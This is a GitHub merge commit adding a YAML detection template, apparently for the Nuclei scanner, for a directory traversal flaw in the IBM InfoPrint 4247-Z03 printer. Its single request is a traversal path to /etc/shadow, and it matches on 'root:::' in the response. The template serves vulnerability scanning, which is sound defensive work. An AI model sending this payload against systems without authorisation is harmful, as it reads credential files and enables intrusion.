Merge pull request #218 from harsh-bothra/patch-9

Create ibm-infoprint-directory-traversal
projectdiscovery · Jul 8, 2020 · 507dfb7 · 507dfb7
2 parents f2bfdbf + 3d7f039
commit 507dfb7
Showing 1 changed file with 22 additions and 0 deletions.
diff --git a/vulnerabilities/ibm-infoprint-directory-traversal.yaml b/vulnerabilities/ibm-infoprint-directory-traversal.yaml
@@ -0,0 +1,22 @@
+id: IBM InfoPrint Directory Traversal
+
+info:
+ name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
+ author: Harsh Bothra
+ severity: Medium
+
+# source:- https://www.exploit-db.com/exploits/47835
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/./../../../../../../../../../../etc/shadow'
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+ - type: word
+ words:
+ - "root:::"